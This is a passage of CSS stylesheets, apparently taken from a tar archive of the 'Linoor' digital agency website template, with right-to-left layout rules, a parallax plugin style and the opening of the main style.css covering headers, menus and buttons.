.gallery-section .upper-row .sec-title { float: right; } .translated-rtl .gallery-section .upper-row .filters { float: left; } .translated-rtl .get-quote-two .info ul li .icon { right: 0; left: auto; } .translated-rtl .get-quote-two .info ul li { padding-left: 0; padding-right: 85px; } .translated-rtl .main-footer .newsletter-form .form-group input[type="text"], .translated-rtl .main-footer .newsletter-form .form-group input[type="tel"], .translated-rtl .main-footer .newsletter-form .form-group input[type="email"] { padding-right: 25px; padding-left: 60px; } .translated-rtl .newsletter-form .form-group .theme-btn { right: auto; left: 12px; } .translated-rtl .main-footer .info-widget ul li { padding-left: 0; padding-right: 32px; } .translated-rtl .main-footer .info-widget ul li .icon { left: auto; right: 0; } .translated-rtl .call-to-section h2 { float: right; } .translated-rtl .call-to-section .link-box { float: left; } .translated-rtl .call-to-section h2 br { display: none; } @media (max-width: 1199px) { .translated-rtl .main-header .header-upper .logo-box { margin-right: 0; margin-left: 80px; } } .translated-rtl .main-header .nav-outer { float: left; } .translated-rtl .banner-one-page .banner-carousel .content-box .link-box { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; -ms-flex-direction: row-reverse; flex-direction: row-reverse; } .translated-rtl .banner-one-page .banner-carousel .vid-link { margin-left: 0; margin-right: 15px; } @media (min-width: 376px) { .translated-rtl .banner-one-page .banner-carousel .vid-link { margin-right: 30px; } } .translated-rtl .main-menu .navigation > li { float: right; } @media (max-width: 479px) { .translated-rtl .about-section .image-column .image-block, .translated-rtl .about-section .image-column .image-block:nth-child(1), .translated-rtl .about-section .image-column .image-block:nth-child(2) { margin: 0 0 10px; width: 100%; } } @media (min-width: 480px) { .translated-rtl .why-us-section .feature .inner-box { padding-left: 0; padding-right: 90px; } } @media (min-width: 480px) { .translated-rtl .why-us-section .feature .inner-box::before { left: auto; right: 0; } } @media (min-width: 1200px) { .translated-rtl .featured-section .left-col .inner { padding-right: 0; padding-left: 30px; } } .translated-rtl .features-section .content-box { max-width: 750px; } @media (min-width: 480px) { .translated-rtl .features-section-two .feature { padding-left: 0; padding-right: 90px; } } @media (min-width: 480px) { .translated-rtl .features-section-two .feature .count { left: auto; right: 0; } } .translated-rtl .page-banner .bread-crumb li { float: right; } @media (min-width: 600px) { .translated-rtl .page-banner .bread-crumb li { padding-right: 0; margin-right: 0; padding-left: 15px; margin-left: 15px; } } .translated-rtl .page-banner .bread-crumb li::before { left: -15px; right: auto; } .translated-rtl .header-style-seven .topbar-four .phone { margin-right: 0; margin-left: 40px; } .translated-rtl .header-style-seven .topbar-four .phone span { margin-right: 0; margin-left: 10px; } .translated-rtl .header-style-seven .social-links li + li { margin-left: 0; margin-right: 30px; } .translated-rtl .header-style-seven .header-upper .logo-box { margin-right: 0; } .translated-rtl .banner-section-four .auto-container .row { -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; } .translated-rtl .service-block-three__single .icon-box span { margin-right: 0; margin-left: 40px; } .translated-rtl .about-section-three__list li { padding-left: 0; padding-right: 30px; } .translated-rtl .about-section-three__list li > i { right: 0; } .translated-rtl .about-section-three__content .progress-box .count-box { left: 0; right: auto; } .translated-rtl .about-section-three__name > img { left: auto; right: 0; } .translated-rtl .main-footer__three .footer-widget .post-list li > img { margin-right: 0; margin-left: 20px; } .translated-rtl .main-footer__three .footer-widget .contact-list li { padding-left: 0; padding-right: 30px; } .translated-rtl .main-footer__three .footer-widget .contact-list li > span { right: 0; left: auto; } .translated-rtl .main-footer__three .bottom-footer .left-content p { border-left: 0; border-right: 1px solid rgba(255, 255, 255, 0.1); padding-left: 0; margin-left: 0; padding-right: 40px; margin-right: 40px; } .translated-rtl .main-footer__three .bottom-footer .social-links li + li { margin-left: 0; margin-right: 40px; } .translated-rtl .footer-four__social a + a { margin-left: 0; margin-right: 20px; } @media (min-width: 768px) { .translated-rtl .footer-four__social a + a { margin-left: 0; margin-right: 40px; } } @media (min-width: 992px) { .translated-rtl .brand-portfolio__item .auto-container { text-align: right; } } .translated-rtl .brand-portfolio__link span { -webkit-transform: rotate(180deg); transform: rotate(180deg); display: inline-block; } .translated-rtl .header-style-eight .nav-outer { width: auto; } /*# sourceMappingURL=rtl.css.map */ jarallax.css 0000644 00000000501 14704434233 0007054 0 ustar 00 .jarallax { position: relative; z-index: 0; } .jarallax > .jarallax-img { position: absolute; object-fit: cover; /* support for plugin https://github.com/bfred-it/object-fit-images */ font-family: 'object-fit: cover;'; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; } style.css 0000644 00001677641 14704434233 0006450 0 ustar 00 /* Linoor - DIgital Agency HTML Template */ /*-------------------------------------------------------------- >>> TABLE OF CONTENTS: ---------------------------------------------------------------- 1. Fonts 2. Reset 3. Global Settings 4. Scroll To Top style 5. Main Header style / Header Style One 6. Sticky Header 7. Search Popup 8. Mobile Menu 9. Lazy Load Settings 10. Banner Section 11. Section Title 12. Services Section 13. About Section 14. Live Section 15. We DO Section 16. Gallery Section 17. Fun Facts Section 18. We DO Section 19. Team Section 20. Parallax Section 21. Sponsors Section 22. Agency Section 23. News Section 24. Call Section 25. Main Footer 26. Services Section 27. We DO Section 28. Gallery Section 29. Why Us Section 30. Testimonials Section 31. Parallax Section 32. We DO Section 33. Call Section 34. Call Section 35. Services Section 36. Discover Section 37. Parallax Section 38. We Work Section 39. Testimonials Section 40. We DO Section 41. Get Quote 42. Map Section 43. Sponsors Section 44. Page Banner 45. Faqs Section 46. Get Quote 47. Error Section 48. Contact Section 49. Sidebar Page Container 50. Comment Area 51. Leave Comments Form 52. Service Details 53. Service Details --------------------------------------------------------------*/ /* font-family: 'Teko', sans-serif; font-family: 'Barlow', sans-serif; font-family: 'Rubik', sans-serif; */ /*** ==================================================================== 2. Reset ==================================================================== ***/ * { margin: 0px; padding: 0px; border: none; outline: none; font-size: 100%; line-height: inherit; } /*** ==================================================================== 3. Global Settings ==================================================================== ***/ :root { --thm-font: "Teko", sans-serif; --thm-b-font: "Rubik", sans-serif; --thm-base: #ffaa17; --thm-base-rgb: 255, 170, 23; --thm-black: #222429; --thm-text: #686a6f; } .container { padding-left: 15px; padding-right: 15px; } .row { --bs-gutter-x: 30px; --bs-gutter-y: 0px; } body { font-size: 16px; font-family: var(--thm-b-font); color: var(--thm-text); line-height: 2.125em; font-weight: 400; background: #ffffff; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; top: 0 !important; } a { text-decoration: none; cursor: pointer; color: var(--thm-base); } .theme_color { color: var(--thm-base); } a:hover, a:focus, a:visited, a:active, button:active { text-decoration: none; outline: none; } h1, h2, h3, h4, h5, h6 { position: relative; font-weight: 400; margin: 0px 0px 20px; background: none; line-height: 1.25em; font-family: var(--thm-font); color: var(--thm-black); } h1 { font-size: 140px; } h2 { font-size: 70px; } h3 { font-size: 60px; } h4 { font-size: 40px; } h5 { font-size: 30px; } h6 { font-size: 26px; } input, select, button { font-family: var(--thm-font); } textarea { overflow: hidden; resize: none; } button { outline: none !important; cursor: pointer; } p { line-height: 2.125em; margin: 0 0 20px; } .text { line-height: 2.125em; margin: 0 0; } ::-webkit-input-placeholder { color: inherit; } ::-moz-input-placeholder { color: inherit; } ::-ms-input-placeholder { color: inherit; } .page-wrapper { position: relative; margin: 0 auto; width: 100%; min-width: 300px; z-index: 9; overflow: hidden; } .page-wrapper__dark { background-color: #1c1e22; background-image: url(../images/background/home-portfolio-bg-1-1.png); } .page-wrapper__gradient { background: #432ff6; background: linear-gradient(100deg, #432ff6 0%, #f174e3 100%); } body.boxed-wrapper { background-color: #f4f5f8; } .page-wrapper.boxed-wrapper { max-width: 1410px; margin-left: auto; margin-right: auto; background-color: #ffffff; -webkit-box-shadow: 0px 0px 100px 0px rgba(0, 0, 0, 0.08); box-shadow: 0px 0px 100px 0px rgba(0, 0, 0, 0.08); } .page-wrapper__dark.boxed-wrapper { background-color: #1c1e22; } @media (max-width: 1440px) { .page-wrapper.boxed-wrapper { max-width: 90%; } } @media (max-width: 768px) { .page-wrapper.boxed-wrapper { max-width: 95%; } } .auto-container { position: static; max-width: 1200px; padding: 0px 15px; margin: 0 auto; } ul, li { list-style: none; padding: 0px; margin: 0px; } figure { margin-bottom: 0; } .theme-btn { display: inline-block; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .theme-btn i { position: relative; display: inline-block; font-size: 14px; margin-left: 3px; } .centered { text-align: center !important; } /*Btn Style One*/ .btn-style-one { position: relative; display: inline-block; text-align: center; text-transform: uppercase; letter-spacing: 0.05em; background: black; color: white; border-radius: 5px; overflow: hidden; font-family: var(--thm-font); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .btn-style-one .btn-title { position: relative; display: block; font-size: 18px; line-height: 30px; font-weight: 400; letter-spacing: 0.1em; padding: 19px 50px 16px; z-index: 1; } .btn-style-one:hover { background: var(--thm-base); color: #ffffff; } .btn-style-one .btn-curve { position: absolute; right: -15px; top: 0; width: 26px; height: 100%; background:#ef1329; opacity: 0.2; z-index: 0; -webkit-transform: skewX(-22deg); transform: skewX(-22deg); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .btn-style-one:hover .btn-curve { opacity: 1; right: 0; width: 100%; -webkit-transform: skewX(0deg); transform: skewX(0deg); } /*Btn Style Two*/ .btn-style-two { position: relative; display: inline-block; text-align: center; text-transform: uppercase; letter-spacing: 0.05em; background:#198754; color: #ffffff; border-radius: 5px; overflow: hidden; font-family: var(--thm-font); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .btn-style-two .btn-title { position: relative; display: block; font-size: 18px; line-height: 30px; font-weight: 400; padding: 19px 50px 16px; z-index: 1; letter-spacing: 0.1em; -webkit-transition: 0.5s; transition: 0.5s; } .btn-style-two:hover { color: var(--thm-black); } .btn-style-two .btn-curve { position: absolute; right: -15px; top: 0; width: 26px; height: 100%; background: #ffffff; opacity: 0.2; z-index: 0; -webkit-transform: skewX(-22deg); transform: skewX(-22deg); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .btn-style-two:hover .btn-curve { opacity: 1; right: 0; width: 100%; -webkit-transform: skewX(0deg); transform: skewX(0deg); } .btn-style-three { background-color: var(--thm-base); color: #fff; font-size: 16px; font-weight: bold; padding: 22.5px 40px; font-family: var(--thm-font); display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; line-height: 1; } .btn-style-three:hover { background-color: var(--thm-black); color: #fff; } .pull-right { float: right; } .pull-left { float: left; } .preloader { position: fixed; left: 0px; top: 0px; width: 100%; height: 100%; z-index: 999999; background-color: white; background-color: #1c1e22; } .preloader__gradient { background: #432ff6; background: linear-gradient(100deg, #432ff6 0%, #f174e3 100%); } .preloader .icon { position: fixed; left: 0px; top: 0px; width: 100%; height: 100%; z-index: 5; background-color: rgba(0, 0, 0, 0); background-position: center center; background-repeat: no-repeat; background-image: url(../images/icons/preloader.png); -webkit-transition: all 200ms ease; transition: all 200ms ease; -webkit-animation-name: rotateMe; -webkit-animation-duration: 2s; -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; -moz-animation-name: rotateMe; -moz-animation-duration: 2s; -moz-animation-iteration-count: infinite; -moz-animation-timing-function: linear; -ms-animation-name: rotateMe; -ms-animation-duration: 2s; -ms-animation-iteration-count: infinite; -ms-animation-timing-function: linear; animation-name: rotateMe; animation-duration: 2s; animation-iteration-count: infinite; animation-timing-function: linear; } .preloader__gradient .icon { background-image: url(../images/update-26-02-2021/preloader-white.png); } .page-loaded .preloader .icon { opacity: 0; } img { display: inline-block; max-width: 100%; height: auto; } .dropdown-toggle::after { display: none; } .fa { line-height: inherit; } /*** ==================================================================== 4. Scroll To Top style ==================================================================== ***/ .scroll-to-top { position: fixed; right: 20px; bottom: 20px; width: 44px; height: 44px; color: var(--thm-black); font-size: 14px; line-height: 44px; border-radius: 50%; text-align: center; z-index: 100; cursor: pointer; background: var(--thm-base); display: none; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .scroll-to-top:hover { background: var(--thm-black); color: #ffffff; } /*** ==================================================================== 5. Main Header style / Header Style One ==================================================================== ***/ .main-header { position: absolute; left: 0; top: 0; display: block; width: 100%; z-index: 9999; background: none; } /*=== Header Main Box ===*/ .main-header .header-upper { position: fixed; display: block; left: 0; top: 0; width: 100%; background: none; /* border-bottom: 1px solid rgba(255, 255, 255, 0.1);*/ z-index: 1; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .boxed-wrapper .main-header .header-upper { max-width: 1410px; left: 50%; -webkit-transform: translateX(-50%); transform: translateX(-50%); } .fixed-header .header-upper { background: #b52d2d; -ms-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); -o-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); -webkit-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); } .header-style-two.fixed-header .header-upper { background: var(--thm-black); -ms-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); -o-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); -webkit-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); } .main-header .header-upper .inner-container { position: relative; display: block; padding: 0px 60px; } .main-header .header-upper .logo-box { position: relative; float: left; padding:5px 0px; margin-right: 50px; z-index: 7; } .main-header .header-upper .logo-box .logo { position: relative; display: block; } .main-header .header-upper .logo-box .logo img { position: relative; display: inline-block; max-width: 100%; max-height:134px; z-index: 1; } .main-header .other-links { position: relative; float: right; z-index: 7; } .main-header .other-links .link-box { position: relative; float: left; padding: 34px 0px; } .main-header .other-links .link-box .link { position: relative; display: block; padding-top: 4px; text-transform: uppercase; letter-spacing: 0.05em; padding-left: 60px; color: #ffffff; } .header-style-two.fixed-header .other-links .link-box .link { color: #ffffff; } .main-header .other-links .link-box .link .icon { position: absolute; left: 0; top: 0; width: 44px; height: 42px; background: url(../images/icons/chat-icon.png) left center no-repeat; } .main-header .other-links .link-box .sub-text { position: relative; display: block; font-size: 14px; font-weight: 500; line-height: 18px; font-family: var(--thm-font); letter-spacing: 0.03em; } .main-header .other-links .link-box .number { position: relative; display: block; letter-spacing: 0.03em; font-size: 20px; font-weight: 400; line-height: 24px; font-family: var(--thm-font); } .main-header .other-links .link-box .number:hover { text-decoration: underline; } .main-header .other-links .call-us { position: relative; } .main-header .other-links .search-btn { position: relative; float: left; padding: 40px 0px; padding-right: 50px; margin-right: 50px; border-right: 1px solid rgba(255, 255, 255, 0.1); } .main-header .other-links .search-btn button { position: relative; display: block; padding: 0; margin: 0; background: none; line-height: 32px; color: #ffffff; cursor: pointer; } .main-header .other-links .search-btn button span { vertical-align: middle; } .main-header .nav-outer { position: absolute; left: 0; top: 0; float: left; text-align: center; width: 100%; z-index: 5; } .main-header .nav-outer .main-menu { position: relative; display: inline-block; vertical-align: middle; } @media (min-width: 992px) { .boxed-wrapper .main-header .nav-outer .main-menu { margin-right: 70px; } } .main-menu .navbar-collapse { padding: 0px; display: block !important; } .main-menu .navigation { position: relative; display: block; width: 100%; margin: 0px; font-family: var(--thm-font); } .main-menu .navigation > li { position: relative; float: left; padding: 31px 0px; margin-right: 40px; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .main-menu .navigation > li:last-child { margin-right: 0px; } .main-menu .navigation > li:last-child:after { display: none; } .main-menu .navigation > li > a { position: relative; display: block; text-align: center; font-size: 20px; line-height: 30px; font-weight: 400; text-transform: uppercase; letter-spacing: 0.03em; color: #ffffff; padding: 12px 0px; opacity: 1; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .main-menu .navigation li > a { display: -webkit-box !important; display: -ms-flexbox !important; display: flex !important; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .main-menu .navigation li > a > span { background-color: var(--thm-base); color: #fff; font-size: 13px; text-transform: uppercase; border-radius: 5px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; width: 40px; top: -3px; position: relative; } .main-menu .navigation > li:hover > a, .main-menu .navigation > li.current > a { color: #ffffff; } .header-style-two .main-menu .navigation > li > a, .header-style-two .main-menu .navigation > li:hover > a { color: var(--thm-black); } .header-style-two .main-menu .navigation > li.current > a, .header-style-two.fixed-header .main-menu .navigation > li > a, .header-style-two.fixed-header .main-menu .navigation > li > a:hover { color: #fff; } .header-style-two.fixed-header .main-menu .navigation > li.current > a { color: var(--thm-base); } .main-menu .navigation > li > a:before { content: ""; position: absolute; left: 0; bottom: 7px; width: 100%; /*border-bottom: 2px solid var(--thm-base);*/ -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .header-style-two .main-menu .navigation > li > a:before { border-bottom-color: #fff; } .header-style-two.fixed-header .main-menu .navigation > li > a:before { border-bottom-color: var(--thm-base); } .main-menu .navigation > li:hover > a:before, .main-menu .navigation > li.current > a:before { -webkit-transform: scale(1); transform: scale(1); } .sticky-header .main-menu .navigation > li.dropdown { padding-right: 0px; } .main-menu .navigation > li > ul { position: absolute; left: 0px; top: 100%; width: 220px; z-index: 100; display: none; background: #ffffff; padding: 20px 0px 15px; border-radius: 5px; -webkit-transform: translateY(20px); transform: translateY(20px); transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; -ms-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); -o-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); -webkit-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); } .main-menu .navigation > li > ul.from-right { left: auto; right: 0px; } .main-menu .navigation > li > ul > li { position: relative; padding: 0px 25px; width: 100%; margin-bottom: 5px; } .main-menu .navigation > li > ul > li > a { position: relative; display: block; padding: 5px 0px; line-height: 17px; font-weight: 400; font-size: 18px; color: #171b27; letter-spacing: 0.03em; text-align: left; text-transform: uppercase; transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation > li > ul > li:hover > a { color: var(--thm-base); } .main-menu .navigation > li > ul > li > ul { position: absolute; left: 100%; top: 0; width: 220px; z-index: 100; display: none; background: #ffffff; padding: 20px 0px 15px; border-radius: 5px; -webkit-transform: translateY(20px); transform: translateY(20px); transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; -ms-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); -o-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); -webkit-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05); } .main-menu .navigation > li > ul > li > ul > li { position: relative; padding: 0px 25px; width: 100%; margin-bottom: 5px; } .main-menu .navigation > li > ul > li > ul > li > a { position: relative; display: block; padding: 5px 0px; line-height: 24px; font-weight: 400; font-size: 20px; color: #171b27; text-transform: uppercase; letter-spacing: 0.03em; text-align: left; transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 300ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation > li > ul > li > ul > li > a:hover { color: var(--thm-base); } .main-menu .navigation > li > ul > li.dropdown > a:after { font-family: "Font Awesome 5 Free"; content: "\f105"; position: absolute; right: 0px; top: 7px; display: block; line-height: 24px; font-size: 16px; font-weight: 900; z-index: 5; display: none; } .main-menu .navigation > li.dropdown:hover > ul { visibility: visible; opacity: 1; -webkit-transform: translateY(0px); transform: translateY(0px); -webkit-transition: all 300ms ease; transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 500ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation li > ul > li.dropdown:hover > ul { visibility: visible; opacity: 1; -webkit-transform: translateY(0px); transform: translateY(0px); -webkit-transition: all 300ms ease; transition: all 300ms ease; -moz-transition: all 300ms ease; -webkit-transition: all 500ms ease; -ms-transition: all 300ms ease; -o-transition: all 300ms ease; } .main-menu .navigation li.dropdown .dropdown-btn { position: absolute; right: 10px; top: 8px; width: 34px; height: 30px; border: 1px solid #ffffff; text-align: center; font-size: 16px; line-height: 26px; color: #ffffff; cursor: pointer; z-index: 5; display: none; } /* header style two */ .header-style-two.fixed-header .header-upper .logo-box .logo .stricked-logo, .header-style-two .header-upper .logo-box .logo .main-logo { display: -webkit-box; display: -ms-flexbox; display: flex; } .header-style-two.fixed-header .header-upper .logo-box .logo .main-logo, .header-style-two .header-upper .logo-box .logo .stricked-logo { display: none; } /* header style four */ .header-style-four .header-upper { background-color: #fff; } .header-style-four .other-links .search-btn { border-color: #e9ebee; } .header-style-four .main-header .header-upper { border-bottom: 0; } .header-style-four .main-menu .navigation > li > a { color: #727479; } .header-style-four .other-links .link-box .number, .header-style-four .main-menu .navigation > li:hover > a, .header-style-four .main-menu .navigation > li.current > a { color: var(--thm-black); } .header-style-four .other-links .search-btn button { color: var(--thm-black); } .header-style-four .other-links .link-box .link .icon { background-image: url(../images/icons/chat-icon-dark.png); } .header-style-four .other-links .link-box .sub-text { color: #727479; } /* header style five */ .header-style-five .header-upper { background-color: rgba(0, 0, 0, 0); } .fixed-header.header-style-five .header-upper { background-color: #fff; } .header-style-five .header-upper .inner-container { max-width: 1200px; padding-left: 15px; padding-right: 15px; margin-left: auto; margin-right: auto; } .header-style-five .nav-outer { text-align: right; } /* header style six */ .header-style-six .header-upper { background-color: rgba(0, 0, 0, 0); } .fixed-header.header-style-six .header-upper { background-color: var(--thm-black); } .header-style-six .nav-outer { display: none; } .header-style-six .header-upper .inner-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-style-six .header-upper .right-menu { margin-left: auto; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-style-six .header-upper .right-menu .search-btn button { background-color: rgba(0, 0, 0, 0); padding: 0; width: auto; font-size: 22px; color: #ffffff; } .header-style-six .header-upper .right-menu .mobile-nav-toggler { cursor: pointer; margin-left: 30px; } .header-style-six .header-upper .right-menu .mobile-nav-toggler:hover span { width: 28px !important; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar { width: 28px; height: 1px; background-color: #fff; display: block; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar:nth-child(2) { width: 23px; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar:nth-child(3) { width: 18px; } .header-style-six .header-upper .right-menu .mobile-nav-toggler .bar + .bar { margin-top: 7px; } .header-style-six-no-border .header-upper { border-bottom: 0; } /* header style seven */ .header-style-seven { position: absolute; top: 0; left: 0; width: 100%; z-index: 100%; } .header-style-seven .header-upper { margin-top: 44px; border-color: rgba(255, 255, 255, 0.06); } .header-style-seven .header-upper .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-style-seven.fixed-header .header-upper { margin-top: 0; } .header-style-seven .nav-outer { position: relative; top: auto; left: auto; text-align: right; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; } .header-style-seven .main-menu .navigation > li > a { font-size: 18px; text-transform: capitalize; font-weight: 400; color: #fff; letter-spacing: 0; } .header-style-seven .main-menu .navigation > li > ul > li > a { font-size: 16px; font-weight: 500; text-transform: capitalize; letter-spacing: 0; } /* topbar */ .header-style-seven .topbar-four { background-color: #18212e; padding-top: 4.5px; padding-bottom: 4.5px; } .header-style-seven .topbar-four .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .header-style-seven .topbar-four .right-content { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-style-seven .topbar-four p { margin: 0; font-size: 14px; font-weight: 400; color: #959ca6; } .header-style-seven .topbar-four .phone { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-right: 40px; } .header-style-seven .topbar-four .phone span { font-size: 14px; color: var(--thm-base); margin-right: 10px; } .header-style-seven .topbar-four .phone a { color: #fff; font-size: 14px; font-weight: 500; } .header-style-seven .social-links { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-style-seven .social-links li + li { margin-left: 30px; } .header-style-seven .social-links a { font-size: 14px; color: #959ca6; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .header-style-seven .social-links a:hover { color: var(--thm-base); } .header-style-seven .main-menu .navigation li > a > span { top: 0; } /* cart btn */ .main-header .other-links { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .main-header .cart-btn { font-size: 18px; color: #fff; margin-right: 30px; } .main-header .cart-btn a { color: inherit; } .header-style-eight .header-upper { border-bottom: 1px solid #e9ebee; } .header-style-eight .main-menu .navigation > li > a { font-size: 20px; font-weight: 500; color: var(--thm-text); text-transform: lowercase; } .header-style-eight .nav-outer { position: relative; left: auto; top: auto; float: none; text-align: right; } .header-style-eight .main-menu .navigation > li > a::before { bottom: -32px; } .header-style-eight .main-menu .navigation > li { padding-top: 33px; padding-bottom: 33px; } .header-style-eight .main-menu .navigation > li > ul { border-radius: 0; } .header-style-eight .main-menu .navigation > li > ul > li > a { text-transform: capitalize; font-size: 16px; font-weight: 500; color: var(--thm-text); } .header-style-eight .main-menu .navigation > li > ul > li > a:hover { color: var(--thm-black); } .header-style-eight .main-menu .navigation li > a > span { font-size: 12px; padding-left: 8px; padding-right: 8px; } .header-style-eight .auto-container { width: 100%; } .header-style-eight .header-upper .logo-box { padding: 20px 0; } @media (min-width: 992px) { .header-style-eight .header-upper .logo-box { padding: 40px 0; } } .header-style-eight .nav-outer .mobile-nav-toggler { margin-top: 18px; } @media (min-width: 992px) { .header-style-eight .nav-outer .mobile-nav-toggler { margin-top: 40px; } } .fixed-header.header-style-eight .header-upper { background-color: #fff; border-bottom: 0; } .header-style-nine { z-index: 991; position: relative; top: auto; left: auto; display: block; width: 100%; } .header-style-nine__inner { padding-top: 32px; padding-bottom: 32px; padding-left: 30px; padding-right: 30px; background-color: var(--thm-gray); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } @media (min-width: 992px) { .header-style-nine { width: 100px; height: 100vh; overflow: hidden; position: fixed; top: 0; left: 0; } .header-style-nine__inner { -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; -webkit-box-align: center; -ms-flex-align: center; align-items: center; height: 100%; overflow-y: auto; padding-left: 0; padding-right: 0; padding-top: 40px; padding-bottom: 60px; } } .header-style-nine .mobile-nav-toggler { width: 28px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -ms-flex-align: center; align-items: center; cursor: pointer; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; display: block !important; } .header-style-nine .nav-outer .main-menu { display: none; } .header-style-nine .mobile-nav-toggler span { background-color: var(--thm-black); height: 1px; width: 28px; display: block; } .header-style-nine .mobile-nav-toggler span:nth-child(2) { width: 23px; margin-top: 7px; margin-bottom: 7px; } .header-style-nine .mobile-nav-toggler span:nth-child(3) { width: 18px; } .header-style-nine .nav-outer { position: relative; left: auto; top: auto; float: none; text-align: left; width: auto; z-index: 5; } .header-style-nine .nav-outer .mobile-nav-toggler { position: relative; float: none; font-size: 30px; line-height: 40px; cursor: pointer; margin-left: 0px; color: var(--thm-base); margin: 0px 0px 0px; margin-left: 30px; } @media (min-width: 992px) { .header-style-nine .nav-outer { margin-top: auto; } .header-style-nine .nav-outer .mobile-nav-toggler { margin-left: 0; } } .header-style-nine__search-btn__outer, .header-style-nine .search-btn { cursor: pointer; margin-left: auto; margin-right: 0px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-style-nine__search-btn__outer { display: none; } @media (min-width: 576px) { .header-style-nine .search-btn { margin-right: 30px; } } @media (min-width: 992px) { 